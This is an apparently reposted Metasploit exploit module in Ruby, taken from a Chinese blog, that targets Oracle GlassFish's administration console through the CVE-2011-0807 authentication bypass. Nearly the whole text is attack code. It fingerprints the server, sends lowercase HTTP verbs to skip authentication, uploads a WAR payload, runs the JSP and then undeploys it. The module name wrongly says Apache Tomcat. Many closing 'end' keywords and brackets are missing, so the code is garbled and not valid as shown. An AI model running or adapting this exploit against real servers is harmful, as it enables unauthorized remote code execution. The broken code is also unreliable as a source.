Mark for later use.
##
# $Id: $
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
###
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /GlassFish/ ] }
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution',
'Description' => %q{
This module can be used to execute a payload on Oracle Glassfish servers that
have an exposed administration application. The payload is uploaded as a WAR archive
containing a jsp application.
The module uses the authentication bypass identified by CVE-2011-0807 to archive
code execution. To exploit the auth bypass http verbs in lowercase are used.
The module has been tested and confirmed to work against:
Sun GlassFish Enterprise Server v3 for Windows, English
Oracle GlassFish Server 3.0.1 for Windows, English
Oracle GlassFish Server 3.0.1 Open Source Edition for Windows, English
Oracle GlassFish Server 3.0.1 Open Source Edition for Linux, English
},
'Author' =>
[
'Jason Bowes', #original discovery
'juan vazquez' # metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'CVE', '2011-0807' ],
[ 'OSVDB', '71948' ],
[ 'BID', '47438' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-137/' ]
],
'Platform' => [ 'java', 'win', 'linux' ],
'Targets' =>
#
# detection using the auth bypass
[ 'Automatic', { } ],
# it works always, at least over linux and windows on x86
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
# Platform specific targets
[ 'Windows x86',
'Arch' => ARCH_X86,
'Platform' => 'win'
[ 'Linux x86',
'Platform' => 'linux'
'DefaultTarget' => 1,
'DisclosureDate' => 'Apr 19 2011'))
register_options(
[
Opt::RPORT(4848), # Administration Web Interface Port
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptString.new('PATH', [ true, "The URI path of the manager app", '/']),
OptPort.new('GLASSFISH_ADMIN_PORT', [true, 'The Glassfish Web Administration Port', 4848]),
OptPort.new('GLASSFISH_SERVER_PORT', [true, 'The Glassfish Application Server Port', 8080])
], self.class)
end
def auto_target
print_status("Attempting to automatically select a target...")
res = query_serverinfo()
return nil if not res
plat = detect_platform(res.body)
arch = detect_arch(res.body)
# No arch or platform found?
if (not arch or not plat)
return nil
end
# see if we have a match
targets.each { |t|
if (t['Platform'] == plat) and (t['Arch'] == arch)
return t
end
}
# no matching target found
return nil
def exploit
datastore['RPORT'] = datastore['GLASSFISH_ADMIN_PORT']
mytarget = target
if (target.name =~ /Automatic/)
mytarget = auto_target
if (not mytarget)
raise RuntimeError, "Unable to automatically select a target"
print_status("Automatically selected target \"#{mytarget.name}\"")
else
print_status("Using manually select target \"#{mytarget.name}\"")
# We must regenerate the payload in case our auto-magic changed something.
p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)
# Generate the WAR containing the EXE containing the payload
jsp_name = rand_text_alphanumeric(4+rand(32-4))
app_base = rand_text_alphanumeric(4+rand(32-4))
# Generate the WAR containing the payload
war = p.encoded_war({
:app_name => app_base,
:jsp_name => jsp_name,
:arch => mytarget.arch,
:platform => mytarget.platform
}).to_s
#
# UPLOAD
print_status("Getting Information to upload...")
viewstate, jsession, typefield, status_checkbox = get_upload_info
if (not viewstate)
raise RuntimeError, "Unable to get ViewState"
if (not jsession)
raise RuntimeError, "Unable to get JSESSIONID"
if (not typefield)
raise RuntimeError, "Unable to get the type field"
if (not status_checkbox)
raise RuntimeError, "Unable to get the status checkbox"
print_status("ViewState: #{viewstate}") if datastore['VERBOSE']
print_status("JSESSIONID: #{jsession}") if datastore['VERBOSE']
print_status("type field: #{typefield}") if datastore['VERBOSE']
print_status("status checkbox: #{status_checkbox}") if datastore['VERBOSE']
boundary = rand_text_alphanumeric(15)
data = "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"uploadRdBtn\"\r\n\r\n"
data << "client\r\n"
data << "Content-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; filename=\"#{app_base}.war\"\r\n"
data << "Content-Type: application/octet-stream\r\n\r\n"
data << war
data << "\r\n"
data << "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam\"\r\n\r\n"
data << "form:sheet1:section1:prop1:fileupload\r\n"
data << "Content-Disposition: form-data; name=\"form:sheet1:section1:prop1:extension\"\r\n\r\n"
data << ".war\r\n"
data << "Content-Disposition: form-data; name=\"form:sheet1:section1:prop1:action\"\r\n\r\n"
data << "Content-Disposition: form-data; name=\"#{typefield}\"\r\n\r\n"
data << "war\r\n"
data << "Content-Disposition: form-data; name=\"form:war:psection:cxp:ctx\"\r\n\r\n"
data << "#{app_base}\r\n"
data << "Content-Disposition: form-data; name=\"form:war:psection:nameProp:appName\"\r\n\r\n"
data << "Content-Disposition: form-data; name=\"form:war:psection:vsProp:vs\"\r\n\r\n"
data << "Content-Disposition: form-data; name=\"#{status_checkbox}\"\r\n\r\n"
data << "true\r\n"
data << "Content-Disposition: form-data; name=\"form:war:psection:librariesProp:library\"\r\n\r\n"
data << "Content-Disposition: form-data; name=\"form:war:psection:descriptionProp:description\"\r\n\r\n"
data << "Content-Disposition: form-data; name=\"form_hidden\"\r\n\r\n"
data << "form_hidden\r\n"
data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n"
data << "#{viewstate}\r\n"
data << "--#{boundary}--"
print_status("Uploading #{war.length} bytes as #{app_base}.war ...")
res = send_request_raw({
'uri' => datastore['PATH'] + '/common/applications/uploadFrame.jsf?form:title2:bottomButtons:uploadButton=Processing...&bare=false',
'method' => 'post', # lowercase for auth bypass
'data' => data,
'headers' =>
{
'Cookie' => "JSESSIONID=#{jsession}",
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Content-Length' => data.length
}
}, 20)
if (! res)
raise RuntimeError, "Upload failed [No Response]"
if (res.code != 302)
print_status(res.body) if datastore['VERBOSE']
raise RuntimeError, "Upload failed [#{res.code} #{res.message}]"
# EXECUTE
datastore['RPORT'] = datastore['GLASSFISH_SERVER_PORT']
jsp_path = '/' + app_base + '/' + jsp_name + '.jsp'
print_status("Executing #{jsp_path}...")
res = send_request_cgi({
'uri' => jsp_path,
'method' => 'GET'
print_error("Execution failed on #{app_base} [No Response]")
elsif (res.code < 200 or res.code >= 300)
print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
# DELETE
print_status("Getting info to undeploy...")
viewstate, jsession, entry = get_delete_info(app_base)
if (not entry)
raise RuntimeError, "Unable to get entry to delete"
print_status("entry: #{entry}") if datastore['VERBOSE']
data = 'propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list='
data << '&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false'
data << '&' + Rex::Text.uri_encode(entry) + '=true'
data << '&propertyForm%3AhelpKey=ref-applications.html'
data << '&propertyForm_hidden=propertyForm_hidden'
data << '&javax.faces.ViewState=' + Rex::Text.uri_encode(viewstate)
data << '&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1'
data << '&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1'
data << '&javax.faces.partial.execute=%40all'
data << '&javax.faces.partial.render=%40all'
data << '&bare=true'
data << '&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1'
data << '&javax.faces.partial.ajax=true'
path_tmp = datastore['PATH'] + "/common/applications/applications.jsf"
print_status("Undeploying #{app_base} ...")
'uri' => path_tmp,
'method' => 'post', # lowercase for auth bypass
{
'Cookie' => "JSESSIONID=#{jsession}"
},
'data' => data
print_error("WARNING: Undeployment failed on #{path} [No Response]")
print_error("Deletion failed on #{path} [#{res.code} #{res.message}]")
handler
def query_serverinfo()
path = datastore['PATH'] + '/common/appServer/jvmReport.jsf'
res = send_request_raw(
'uri' => path,
'method' => 'get' # lowercase for auth bypass
}, 20)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
print_status(res.body) if datastore['VERBOSE']
return res
def detect_platform(body = nil)
if not body
res = query_serverinfo()
return nil if not res
body = res.body
body.each_line { |ln|
ln.chomp!
case ln
when /os\.name /
os = ln.split('=')[1]
case os
when /Windows/
return 'win'
when /Linux/
return 'linux'
end
def detect_arch(body)
when /os\.arch /
ar = ln.split('=')[1].strip
case ar
when 'x86', 'i386'# 'i686' # only x86 (windows), i386 (linux) tested
return ARCH_X86
=begin
when 'x86_64', 'amd64' # not tested
=end
def get_upload_info()
path = datastore['PATH'] + '/common/applications/uploadFrame.jsf'
jsession = res.headers['Set-Cookie'].scan(/JSESSIONID=(.*);/)[0][0]
viewstate = res.body.scan(/input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState" value="(.*)" autocomplete="off"/)[0][0]
typefield = res.body.scan(/select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/)[0][0]
status_checkbox = res.body.scan(/input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/)[0][0]
if (viewstate.nil?)
print_error("Failed: Error getting ViewState")
if (jsession.nil?)
print_error("Failed: Error getting JSESSIONID")
if (typefield.nil?)
print_error("Failed: Error getting the type field")
if (status_checkbox.nil?)
print_error("Failed: Error getting the status checkbox")
return viewstate, jsession, typefield, status_checkbox
def get_delete_info(app='')
path = datastore['PATH'] + '/common/applications/applications.jsf?bare=true'
entry = nil
results = res.body.scan(/<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/)
results.each { |hit|
if hit[1].eql?(app)
entry = hit[0]
entry << "col0:select"
if (entry.nil?)
print_error("Failed: Error getting the entry to delete")
return viewstate, jsession, entry
end
本文轉hackfreer51CTO部落格,原文連結:http://blog.51cto.com/pnig0s1992/767360,如需轉載請自行聯系原作者